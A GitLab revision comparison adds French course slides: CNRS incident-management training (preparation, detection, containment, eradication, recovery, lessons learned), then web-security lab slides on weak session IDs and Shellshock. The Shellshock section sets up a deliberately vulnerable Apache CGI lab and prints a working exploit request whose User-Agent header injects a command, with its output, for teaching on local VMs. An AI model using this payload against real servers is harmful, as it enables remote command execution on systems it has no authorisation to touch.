Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found

Target

Select target project
  • vimazeno/blog.limos.fr
  • matrossevi/blog.limos.fr
  • borlonjo/blog.limos.fr
3 results
Show changes
Showing
with 2755 additions and 0 deletions
## Étapes principales
<div style="text-align: center">
<img src="/_/gdi/images/plan.jpg" width="70%" />
</div>
## Etapes de la gestion d’incidents
* La norme définit 5 étapes : [ISO27035 4.5](http://www.iso27001security.com/html/27035.html) (Information security incident management)
* Prepare
* Identify
* Assess
* Respond
* Learn
* Cette formation traite la gestion d'incidents en 6 étapes
* Préparer
* Détecter, évaluer et réagir
* Confiner et acquérir (rapidement)
* Eradiquer et agir (efficacement)
* Recouvrer (et prévenir)
* Consolider
## Diagramme de flux
<div style="text-align: center;">
<a href="/_/gdi/images/diagdeflux.png"><img src="/_/gdi/images/diagdeflux.png" width="40%" /></a>
</div>
Note:
- aspect amélioration
## Cartographie de la Gestion d'incidents au CNRS
[![alt text](/_/gdi/images/MindMap.png "Cartographie de la Gestion d'incidents au CNRS")](https://aresu.dsi.cnrs.fr/IMG/pdf/Incidents.pdf)
## Roue de Deming (PDCA)
<div style="text-align: center;">
<img src="/_/gdi/images/PDCA.jpg" width="70%" />
</div>
* Planifier
* Développer
* Contrôler
* Ajuster
\ No newline at end of file
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/etes-vous-prets.jpg" width="70%"/>
</div>
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* être identifié comme CSSI
* organiser la sensibilisation
* anticiper l'arrivée de l'incident pour
* dédramatiser
* avoir une marche à suivre
* éviter les erreurs techniques et organisationelles
* éviter la culpabilité
* éviter la dissimulation
* la déclaration d'incident est une obligation légale
* rappeler les Chartes d'utilisation des moyens informatiques du CNRS et des partenaires
Note:
- vertu de l'identificaiton, facilite la remontée évite la dissimulation amène à un comportement intelligent vis à vis de l'incidetn
- sensibilisation bon point de départ
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* L’environnement organisationnel
* Préparer ou se rapprocher des procédures de gestions de crise
* Préparer ou se rapprocher des plans de communication
* Préparer la gestion des priorités avec la hiérarchie, pour exemple :
* P1 : les personnes
* P2 : les informations « PPST »
* P3 : les informations personnelles
* etc.
* S'assurer que la hiérarchie est impliquée et consciente de sa responsabilité
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* L’environnement organisationnel
* Préparer une fiche de contacts (hiérarchie, partenaires, tutelles, etc.)
* Identifier les chaines de sécurité (ISIRT ou CSIRT en local, régional, national, partenaires, etc.)
* Préparer des fiches réflexes
* Connaitre les différents plan de continuité (PCA) et plan de reprise (PRA) du périmètre
* par exemple, les bascules automatiques peuvent détruire les preuves
* Disposer d’une liste d’outils pour l’acquisition (A2IMP)
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* L’environnement légal
* Etre à jour sur les déclarations CNIL
* Etre à jour sur la réglementation spécifique
* Avoir mis en place les mentions légales
* Web: [http://www.cil.cnrs.fr/CIL/spip.php?page=mentions_legales](http://www.cil.cnrs.fr/CIL/spip.php?page=mentions_legales)
* Systèmes: <img src="/_/gdi/images/notice_to_users.png" width="60%" />
Note:
- Affaire bluetouf & kitetoa "il n'ya pas de délis sans intention de le connaître"
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Gestion des traces
* [Politique de gestion des traces d'utilisation des moyens informatiques et des services réseau au CNRS](https://aresu.dsi.cnrs.fr/IMG/pdf/Po_gest_traces.pdf)
* Le CNRS a fait une déclaration à la CNIL relative aux logs
* Conserver
* Logs serveurs et postes de travail
* Logs serveurs de messagerie
* Logs serveurs Web
* Logs Services réseaux + équipements d'extrémités (Firewalls, routeurs, …)
* Logs de systèmes de détection d'intrusion (IDS)
* Logs de applications spécifiques, dès lors qu'elles enregistrent des données de connexion, d'utilisation
* La durée de conservation de ces journaux est fixée au maximum à 1 an (et au minimum à 1 an aussi ...)
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Gestion des traces
* Elle nous précise aussi la manière dont :
* on peut exploiter ces données (analyse, statistiques, …)
* l'unité doit informer les utilisateurs de la gestion qui est faite des traces qui les concernent.
* En fonction de ces informations, il apparaît qu’il est à minima fortement recommandé de :
* Gérer ses logs sur tous ses serveurs
* déployer une architecture de centralisation des logs
* Solution préconisée par le CNRS:
* rsyslog + outil d'analyse (logCheck, logwatch, logAnalyser, logStash, ElasticSearch, Kibana)
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* La gestion des traces
* Les utilisateurs doivent être informés (CNIL)
* Charte
* Le traitement doit être proportionnel (CNIL)
* Gestion pour supervision technique sans intrusion dans la vie privée
* Analyse fine uniquement à la demande de la chaîne SSI / Défense CNRS si suspicion
* Destinataires
* Chaîne SSI / Défense CNRS
* OPJ dans le cadre d’une enquête préliminaire ou commission rogatoire
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Pour anticiper le recouvrement s'assurer
* D’avoir un inventaire à jour des mots de passe et des séquestres
* Physique
* Numérique
* Doit être frais et fonctionnel (à tester)
* Etes vous en mesure de déverrouiller un périphérique chiffré pris au hasard sur votre parc?
* D'avoir des sauvegardes fraîches et fonctionnelles (outil de sauvegarde / dashboard pour le suivi)
* Que vous n'êtes pas le seul à pouvoir réaliser tester ces opérations
* A minima qu'elles soient documentées
* idéalement former une équipe d'experts en gestion des incidents
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Kit de survie GdI
* liste des contacts
* [bloc-note (journal)](/_/gdi/download/Fiche_intervention.pdf)
* <i class="fa fa-gift"></i> disque dur externe (recueil de preuve)
* [Livecd A2IMP](https://mycore.core-cloud.net/public.php?service=files&t=1357ba7c8c2604a71f9695449fe6b39a) et doc [linux](https://mycore.core-cloud.net/public.php?service=files&t=f141f3741d356ac95bea7b92287111d7) et [windows](https://mycore.core-cloud.net/public.php?service=files&t=9d00808565b9c8fcd865940008e2b4ac)
* [version antérieure](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/Documents/ISO%20A2IMP.aspx)
* Procédures (confinements, configurations, restaurations…)
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Faire de la veille de vulnérabilités SSI
* [https://listes.services.cnrs.fr/wws/admin/corresp_ssi](https://listes.services.cnrs.fr/wws/admin/corresp_ssi)
* Pour être abonné à cette liste de diffusion, il faut faire partie d’au moins une de ces listes sous CORE
* CSSI, CSSI Adjoints, ASR, RSSI Régionaux, RSSI Régionaux adjoints, RSSI Instituts, CRSSI ou être directement inscrit par le RSSI du CNRS.
* [l'intranet du CNRS](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/Documents/Forms/AllItems.aspx?TreeField=Folders)
* [Que faire en cas de rançongiciel ?](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/_layouts/WopiFrame.aspx?sourcedoc=/collaborations/RSSI-CNRS/Documentation/Documents/Rancongiciel.docx&action=default&Source=https%3A%2F%2Fextra.core-cloud.net%2Fcollaborations%2FRSSI-CNRS%2FDocumentation%2FDocuments%2FForms%2FAllItems.aspx%3FTreeField%3DFolders&DefaultItemOpen=1&DefaultItemOpen=1)
* [Que faire en cas de défiguration de site web ?](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/_layouts/WopiFrame.aspx?sourcedoc=/collaborations/RSSI-CNRS/Documentation/Documents/Traitement%20d%C3%A9figuration.docx&action=default&Source=https%3A%2F%2Fextra.core-cloud.net%2Fcollaborations%2FRSSI-CNRS%2FDocumentation%2FDocuments%2FForms%2FAllItems.aspx%3FTreeField%3DFolders&DefaultItemOpen=1&DefaultItemOpen=1)
* [https://aresu.dsi.cnrs.fr/spip.php?rubrique73](https://aresu.dsi.cnrs.fr/spip.php?rubrique73)
* [http://www.certa.ssi.gouv.fr/](http://www.certa.ssi.gouv.fr/)
* [https://services.renater.fr/ssi/cert/info-secu](https://services.renater.fr/ssi/cert/info-secu)
* [http://www.cert-ist.com/fra/ressources/Avis/Listedesderniersavis/](http://www.cert-ist.com/fra/ressources/Avis/Listedesderniersavis/)
<!-- * [http://vigilance.fr](http://vigilance.fr), [https://twitter.com/VUPEN](https://twitter.com/VUPEN), [https://secunia.com/community/advisories/historic/](https://secunia.com/community/advisories/historic/) -->
\ No newline at end of file
## Détecter, évaluer et réagir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/detecter.jpg" width="70%"/>
</div>
## Détection <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### sources
* Utilisateurs
* Helpdesk
* Incidents informatiques
* Changements
* Performances
* Redémarrage de machines
* Analyses des journaux, outils de surveillance
* IDS, IPS, sondes, SIEM, etc.
* Métrologie
* ISIRT ([RENATER](https://www.renater.fr/), [CERT-FR](http://cert.ssi.gouv.fr/) [ex CERTA](http://www.cert.ssi.gouv.fr/cert-fr/certfr.html))
* Police, justice, Victimes d’une attaque
* Médias, Sites web ([zataz](http://www.zataz.com/tag/cnrs), [zone-h](http://www.zone-h.org/archive/filter=1/fulltext=1/domain=cnrs), pastebin, etc.)
## Identifier & caractériser <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* Recueillir les qui, quoi, quand, où, comment, etc.
* En premier lieu, vérifier que ce n'est pas
* une erreur de configuration
* une erreur humaine
* un défaut de communication entre personnes ou entités
* Première évaluation, sans parti pris, ni conclusion hâtive
* En cas de doute ne pas hésiter à demander de l'aide (local, régional, national)
## 1<sup>ère</sup> évaluation <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* Désigner une personne compétente (formée)
* identifiée en phase de préparation et lui laisser la main
* Ouverture du kit de gestion des incidents
* Horodatage précis de l'ouverture du journal
* Déterminer "à grosse maille"
* ce qui a été compromis
* l'étendu des dégâts
* Typer et classer l'incident
* Passer rapidement et directement au confinement
* Ou escalader auprès de la hiérarchie et/ou en gestion de crise, puis passer rapidement au confinement
\ No newline at end of file
## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/inscetoscopes.jpg" width="70%"/>
</div>
## Les outils A2IMP <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* A2IMP : Aide à l'Acquisition d'Informations sur une Machine Piratée
* Formation initiale organisée par l'UREC (2006/2007)
* Méthodologie toujours valable (mais prise en compte de l'évolution des systèmes [linux](https://mycore.core-cloud.net/public.php?service=files&t=f141f3741d356ac95bea7b92287111d7) et [windows](https://mycore.core-cloud.net/public.php?service=files&t=9d00808565b9c8fcd865940008e2b4ac))
* [Livecd A2IMP](https://mycore.core-cloud.net/public.php?service=files&t=1357ba7c8c2604a71f9695449fe6b39a) mis à jour
* Scientific Linux 6.5 avec kernel récent (3.x)
* Outils à la racine du CD (pour l'acquisition des données volatiles)
* a2impLinux
* a2impWin
* Outils en mode LiveCD (démarrage du système live pour la sauvegarde des partitions)
## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/zalman.jpg" width="70%"/>
</div>
**Faire l'acquisition des données volatiles avant d'isoler la machine du réseau** permet de récupérer plus d'informations sur le contexte
* connexions réseaux, utilisateurs connectés, processus liés aux activité réseaux, cache, mémoire RAM...
## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Collecte des données volatiles
* Monter l'ISO A2IMP
* Utiliser les binaires de l'ISO uniquement
* Lancer le script d'acquisition correspondant au système
* Sauvegarder les données récupérées sur un support externe
### cas d'une vm
* faire un snapshot
## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Arrêter la compromission
* Arrêter la machine
* Deconnecter le cale réseau physiquement
### cas d'une vm
* arrêter la vm
* désactiver la vm via l'interface de l'hyperviseur
### créer une image disque
* rebooter sur l'ISO A2IMP
* attention à ne pas rebooter sur le système corrompu
* lancer la copie du disque avec signature
* sur un disque externe
\ No newline at end of file
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/Shaun_of_the_Dead.jpg" width="70%"/>
</div>
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* [Un problème de sécurité informatique non-traité est répréhensible](#/1/2)
* Décider rapidement avec la hiérarchie et la chaine fonctionnelle des suites à donner
* Activer la cellule de gestion de crise
* Activer les plans de continuité et/ou de reprise
* Demander une analyse externe
* <a href="http://www.dgdr.cnrs.fr/FSD/securite-systemes/que-faire4.htm">porter plainte en matière de SSI</a> sur le site de la DG
* Conserver les preuves A2IMP faites à l’étape d’acquisition
* Surtout en cas d'analyse judiciaire et/ou CERT
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* Communiquer en interne de l’unité
* En accord avec la hiérarchie !
* Peut être établi au préalable lors de la phase de préparation
* Communiquer en externe de l’unité
* En accord avec la hiérarchie !
* signaler l'incident au niveau régional et national (chaîne SSI)
* pour les unités multi-établissements
* la « convention de site » doit préciser qui est pilote SSI
## Déclarer l'incident <!-- .element: class="fragment" -->
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Déclarer l'incident ... à qui?
* Fonctionnaire de sécurité de défense (FSD)
* Est informé des incidents concernant la protection du potentiel scientifique et technique (PPST)
* A délégation pour porter plainte en cas d’intrusion
* Direction des affaires juridiques (DAJ)
* Impliquée dans les dépôts de plainte
* Intrusion <i class="fa fa-hand-o-right"></i> FSD
* Autres (vol par exemple) <i class="fa fa-hand-o-right"></i> DAJ
* Correspondant informatique et libertés (CIL)
* Impliqué lorsqu’il y a violation de données à caractère personnel
* Direction de la communication (DirCom)
* Impliquée lorsqu’un incident a une exposition médiatique
* Direction de l’audit interne (DAI)
* Vérification que les procédures sont bien conformes
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Déclarer l'incident ... à qui?
* Délégué régional
* Délégation pour certains dépôts de plainte (après avis de la DAJ)
* Impliqué dans la gestion de crise
* Directeur d’unité
* Systématiquement informé d’un incident dans son unité
* La sécurité est de sa responsabilité
* Utilisateur
* A l’obligation de remonter les incidents SSI
* Cellule de crise
* RSSI des autres tutelles
* Doivent systématiquement être informés d’un incident
* A charge de réciprocité
* Tenir informer le CERT (ISIRT) qui a signalé l’incident
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Déclarer l'incident ... par qui?
* Le CSSI (ou le RSSI-Région) enregistre l’incident.
* Le CSSI, le RSSI-Région et le RSSI partenaire complètent l’enregistrement.
* Le RSSI CNRS
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Déclarer l'incident ... comment?
* Formulaire de déclaration d'incident sur l'espace de travail collaboratif dédié à la SSI
* [https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/D%c3%a9clarer%20un%20incident.aspx](https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/D%c3%a9clarer%20un%20incident.aspx)
* Détails
* Machines compromises
* Journal
* Investigations
* Impacts et conséquences de l'incident
* [Aide à la gestion des incidents](https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/Aide%20gestion%20des%20incidents.aspx)
Note:
- ouvrir le formulaire
- dérouler tous les pop up
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Investiguer
* Trouver les causes de l'incident afin de revenir à une situation normale
* En général, un incident a plusieurs causes
* Une ou plusieurs [menaces](#menace)
* Une ou plusieurs [vulnérabilités](#vulnerabilite)
* Techniques
* Organisationnelles
* Si nécessaire, activer une analyse inforensique poussée (type A3IMP)
* Coûts
* Dégâts causés
* Facteurs juridiques et procédure judiciaire
* Complexités de l’attaque
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Préparer le retour à la normale
* Revenir à une situation nominale
* Restauration partielle
* Eradication des codes malveillants, etc.
* Ou, réinstallation complète
* Recommandé, surtout en cas de doute !
* Importance des sauvegardes et archives !
* Et dans tous les cas s’assurer que l’incident ne se reproduise pas
* Durcir les configurations
* Changer et durcir les mots de passe et éventuellement les méthodes d'authentification (multifacteur)
* Mettre à jour les correctifs de sécurité
* Durcir la topologie réseau (VLAN, routage, etc.)
* Durcir le filtrage réseau
* **Avant de ré-ouvrir le service**
\ No newline at end of file
## Recouvrer <img src="/_/images/PDCA/PDCA-C.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/walkertexasranger.jpg" width="70%"/>
</div>
## Recouvrer <img src="/_/images/PDCA/PDCA-C.png" width="20%" align="right"/>
* Objectif: s'assurer d'avoir remis en service un système sain
* Actions
* Vérifier et valider le comportement du système
* Recettes fonctionnelle et technique avant ré-ouverture
* Ré-ouvrir le service en mode nominal ou dégradé
* Suivi renforcé du comportement dans les minutes / les heures / les jours (en fonction du contexte) qui suivent la réouverture du service
* Analyse quotidienne des traces réseaux et systèmes
* Analyse quotidienne des journaux d’audit
* Visite quotidienne des urls
* Revue quotidienne des résultats Google
* Etc.
* Si nécessaire, mettre en place une supervision à plus long terme
\ No newline at end of file
## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/colmater.jpeg" width="70%"/>
</div>
## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
### Objectifs</h3>
* Augmenter le niveau de sécurité
* Capitaliser l’expérience acquise
* Accompagner et responsabiliser l’ensemble des acteurs (hiérarchie, prestataires, utilisateurs, etc.)
## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
### Préparer un bilan de l’incident</h3>
* Si besoin, effectuer des investigations complémentaires
* se faire aider si besoin
* Prestataire de confiance
* Informaticien CNRS ou partenaire
* Réseau SSI
* Etc.
* Ecrire un rapport factuel et détaillé incluant le journal de l’incident
## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
* Préparer un plan d'amélioration
* Proposer des actions concrètes d'amélioration évaluées selon plusieurs critères (charge, coût, complexité, délai, ...) afin de permettre la prise de décision
* Si nécessaire, proposer également des améliorations du processus de gestion des incidents de l'entité
* Compléter par une estimation du coût et des conséquences de la « non-sécurité »
* Valoriser les impacts financiers liés à la perte ou la compromission des informations
* Valoriser les coûts des actifs supports volés ou perdus
* H.J. dédiés à la gestion de l’incident
* H.J. perdus dû à l’incident
* Perte de confiance ou d’image de marque
## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
<div style="text-align: center;">
<a href="https://extra.core-cloud.net/collaborations/RSSI-CNRS/tableau_de_bord/Incidents/R%C3%A9partition%20des%20incidents%20par%20cat%C3%A9gorie.aspx">
<img src="/_/gdi/images/stat_cnrs_1.png"/>
</a>
</div>
## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
<div style="text-align: center;">
<a href="https://extra.core-cloud.net/collaborations/RSSI-CNRS/tableau_de_bord/Incidents/Statistiques%20mensuelles%20des%20incidents.aspx">
<img src="/_/gdi/images/stat_cnrs_2.png"/>
</a>
</div>
## Consolider <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
## Clôturer l’incident
* Dans un délai raisonnable: réaliser un retour d’expérience (fortement recommandé)
* Expliquer de façon factuelle en séance ce qu’il s’est passé sur la base du rapport
* Inviter les différentes parties prenantes, dont la hiérarchie
* Envoyer le rapport et la proposition de plan d’actions à l’avance
* Impliquer la hiérarchie
* Si possible et si nécessaire, lors de la même séance, faire évoluer et dans tous les cas, faire valider le plan d'actions par les parties prenantes et la hiérarchie
* A la fin de cette séance, même s’il reste des actions, l’incident peut être considéré clôturé.
## Clôturer l’incident <img src="/_/images/PDCA/PDCA-A.png" width="20%" align="right"/>
### Actions post-incidents</h3>
* Consolider (Créer) la base d'incidents
* Consolider (Commencer) l‘analyse de risque
* Suivre le plan d'actions
* Intégrer le suivi de réalisation de ces actions dans un comité existant (recommandé) ou créer un comité ad-hoc
* Rendre compte à la hiérarchie de l’avancée des actions
* Partager la mésaventure et l’expérience avec les réseaux d’informaticiens
* S’il y a eu dépôt de plainte, répondre aux services de police et suivre l’avancée des procédures judiciaires
\ No newline at end of file
## Erreurs à éviter
<div style="text-align: center;">
<img src= "/_/gdi/images/erreurs_a_eviter.png" width="90%"/>
</div>
## Erreurs à éviter
* Ne pas déclarer, dissimuler les incidents
* Outil pour la saisie des incidents
* Pourquoi investir dans la sécurité s’il n’y a jamais d’incident
* Traiter mais oublier de déclarer l'incident
* Minimiser la gravité de l'incident
* Sur-réagir à l'incident
* Ne pas demander aide et conseils
* Aucune honte
* Nécessaire recul
* Réseau d’experts
* Ne pas distinguer les incidents liés à la sécurité de l’information de ceux qui ne le sont pas
* Surcharge des équipes en charge de la SSI: un bourrage d’imprimante n’est pas un incident SSI même, si c’est très important pour l’utilisateur
## Erreurs à éviter
* Vouloir aller trop vite
* Ne pas prendre les mesures conservatoires et ne pas recueillir les éléments qui serviront à l’analyse et aux preuves
* Rétablir un service avant d’être sûr d’avoir compris ce qu’il s’est passé et d’avoir comblé les failles
* Céder à la pression des utilisateurs
* Avoir des descriptions incomplètes ou imprécises des incidents
* Ne pas se rendre compte que l'on dispose d'informations fausses ou incomplètes
* Détruire des preuves
* Lancer des outils de détection directement sur la machine et non pas sur une copie des informations
* Réinstaller avant d’avoir recueilli et sauvegardé toutes les informations
## Erreurs à éviter
* Mal communiquer
* Oublier de prévenir la hiérarchie
* Trop communiquer
* Ne pas informer les gens ayant besoin d'en connaitre
* Ne pouvoir contenir et éradiquer l’incident
* Se refaire compromettre par la même faiblesse
* Ne pouvoir rétablir un environnement sain
* Ne pas faire de retour d’expérience
* Si la faille dépasse l'unité, poursuivre l'analyse sur un dispositif distant sans l'autorisation du propriétaire
* Engager une contre-attaque
* Illégal
* Imputation très difficile, risque de se tromper de cible
* L’attaquant est très fort et peut réagir violemment
## Recommandations
* Faire de la veille technologique et recevoir les bulletins d'alertes
* Être préparé
* Essentiel pour pouvoir réagir correctement en situation de stress, de crise
* Disposer des outils
* Les tester régulièrement
* Les maintenir à jour
* Connaître / Documenter les procédures
* S’entraîner, faire des simulations d’incident
* Tester régulièrement les sauvegardes et les restaurations
* Avoir des outils automatiques d’installation de machines (facilite la réinstallation)
## Recommandations
* Ne pas attendre d’avoir toutes les informations pour déclarer un incident
* Indiquer si on n’est pas sûr d’une information
* Compléter, corriger par la suite
* Traiter la découverte d’une vulnérabilité comme un incident
* Quasi incident
* Retour d’expérience, amélioration
* Impliquer la hiérarchie
* Communiquer
* Délicat mais essentiel
* Adapter le discours aux différentes parties prenantes
* Le meilleur communicant n’est pas celui qui a les mains dans le cambouis, faire passer les messages par la direction
* Maitriser son périmètre informatique
\ No newline at end of file
## Conclusions
<div style="text-align: center;">
<img src= "/_/gdi/images/Monsieur-Cyclopede.jpg" width="90%"/>
</div>
## Conclusions
* Bien déterminer le type d'incident
* pour appliquer la bonne procédure
* Bien caractériser l'incident
* Pour améliorer l’appréciation des risques
* Pour une remontée efficace
* Pour Estimer le coût de la non sécurité
* Traiter aussi les évènements et les vulnérabilités
## Ressources complémentaires
* [DSI pôle ARESU - Sécurité](https://aresu.dsi.cnrs.fr/spip.php?rubrique16)
* [Tous les documents de l'ANF Gestion des incidents](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Formation%20%20Gestion%20des%20Incidents/Forms/AllItems.aspx)
* [les documents de la DR17 qui ont servis pour la mise à jour de cette présentation (MERCI!)](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Formation%20%20Gestion%20des%20Incidents/Forms/AllItems.aspx?RootFolder=%2Fcollaborations%2FRSSI-CNRS%2FFormation%20%20Gestion%20des%20Incidents%2FFormation%20-%20Gestion%20des%20Incidents%202014%2FDR17&FolderCTID=0x012000859DA60215B6CA43B5033CAD99231941&View={45010E28-1540-4E48-B20B-06496674B54F})
* [ENISA - Good Practice Guide for Incident Management](https://www.enisa.europa.eu/activities/cert/support/incident-management)
* [ISO27035 (Information security incident management)](http://www.iso27001security.com/html/27035.html)
* [PSSIE](http://www.ssi.gouv.fr/IMG/pdf/pssie_anssi.pdf)
* [Objectifs de sécurité [ANSSI]](http://www.ssi.gouv.fr/IMG/pdf/20140310_Objectifs_de_cybersecurite_document_public.pdf)
* [Charte informatique du CNRS](http://www.cil.cnrs.fr/CIL/IMG/pdf/charte_info.pdf)
\ No newline at end of file
# Weak Session IDs
## aka lack of entropy
## Entropie
* **Thermodynamique**:Grandeur thermodynamique exprimant le degré de désordre de la matière
* **Théorie de l'information**: Quantité moyenne d'information attribuable à un message constitué par un ensemble de signaux, représentant le degré d'incertitude où l'on est de l'apparition de chaque signal
### <i class="fa-solid fa-bomb"></i> Weak Session IDs / low
![visualiser ses cookies](images/session/cookie.png)<!-- .element style="width: 90%" -->
simple incrémentation
### <i class="fa-solid fa-bomb"></i> Weak Session IDs / low
![sequencer entropy](images/session/sequencer.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Weak Session IDs / low
![sequencer entropy](images/session/sequencer2.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Weak Session IDs / medium
timestamp
### <i class="fa-solid fa-bomb"></i> Weak Session IDs / high
* hash MD5 probable
* [CrackStation](https://crackstation.net/)
### <i class="fa-solid fa-bomb"></i> Weak Session IDs
![free](images/session/free.png)<!-- .element style="width: 90%" -->
\ No newline at end of file
<!-- .slide: data-background="images/shellshock/shellshock-bug.png" data-background-size="99%" data-background-color="black"-->
## se faire un système vulnérable
* Pas évident
* dans le monde debian
* choisir une vieille [Ubuntu server 12.04.4](http://ubuntu-release.locaweb.com.br/12.04/)
* paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
```shell
$ sudo apt-get apache2 && sudo a2enmod cgi
```
## configuration
```shell
$ sudo vi /usr/lib/cgi-bin/netstat.cgi
```
```shell
#!/bin/bash
echo "Content-type: text/html"
echo
echo "Executing: netstat -nlt"
echo
echo "<pre>"
/bin/netstat -nlt
echo "</pre>"
```
## configuration
```shell
$ sudo vi /etc/apache2/sites-available/serve-cgi-bin.conf
```
```xml
<IfModule mod_alias.c>
<IfModule mod_cgid.c>
Define ENABLE_USR_LIB_CGI_BIN
</IfModule>
<IfDefine ENABLE_USR_LIB_CGI_BIN>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
</IfDefine>
</IfModule>
```
## timline
* découverte en septembre 2014
* [Shellshock - timeline](http://www.dwheeler.com/essays/shellshock.html#timeline)
* [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271)
* [CVE-2014-7169](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169), which NIST says "exists because of an incomplete fix for CVE-2014-6271."
* existe depuis le lancement du logiciel il y a 22 ans
* interpréteur par défaut GNU/Linux et pas mal d'Unix libres
## explications
```shell
() { 42;}; echo; /usr/bin/id
```
* **() { 42;}** fonction qui "fait" 42
* **; echo** évite des erreurs serveur dans certains cas
* **; /usr/bin/id** payload juste pour la PoC
* exécution de commandes arbitraires avec les privilèges du user apache
## explications
* ne dépend d'aucun appel système dans le script CGI
* le code est exécuté lors de la préparation des variables d'environnement
* ces variables peuvent contenir des fonctions appelable par le script
* mais en fait tout code hors fonction était exécuté ...
Note:
- vitesse de distribution des patchs
- temps de compilation et de distribution dans les paquets
## Impacts
* tout serveur utilisant des cgi en bash est vulnérable
* concerne aussi
* certains DHCP
* serveurs de messagerie
* serveurs SSH
* Linux, Mac OS X, Android, Cygwin
* routeurs domestiques
* bitcoin core
* objets connectés en tout genre
Note:
- pour la mail c'est certaines versions de qmail qui sont vulnérables
- Bitcoin core: porte monnaie bitcoin
## Détection
* [<i class="fa fa-twitter"></i> shodan](https://twitter.com/shodanhq)
* [<i class="fa fa-newspaper-o"></i> shodan blog](http://blog.shodan.io/)
* [CGI Shodan Search](https://www.shodan.io/search?query=html%3A.cgi)
* [Shellshock Shodan Report](https://www.shodan.io/report/plt4tqpk)
* test en ligne de commande
```shell
x='() { :;}; echo vulnerable' bash -c "echo ceci est un test"
```
## Exploitation
* avec burp suite par exemple
```http
GET /cgi-bin/netstat.cgi HTTP/1.1
Host: go.od
User-Agent: () { 42;}; echo; /usr/bin/id
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
```
* affiche dans le navigateur en cas de vulnérabilité
```shell
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Note:
- si on arrive pas à voir ou si on veut tesr en aveugle
- ping d'un serveur maitrisé
- on attend les requêtes ping
- résolution d'un domaine maitrisé
- on attend les requêtes DNS
# SQLi
## Aka injections SQL
## Disclaimer
*Cette présentation explique comment fonctionne l'exploiter
des services vulnérables aux injections SQL.*
*Toutes les attaques sont réalisées sur des VMs en local.*
*Il est vivement déconseillé de reproduire ces attaques
sur une cible distante, sans la permission explicite (c'est à dire écrite et signée)
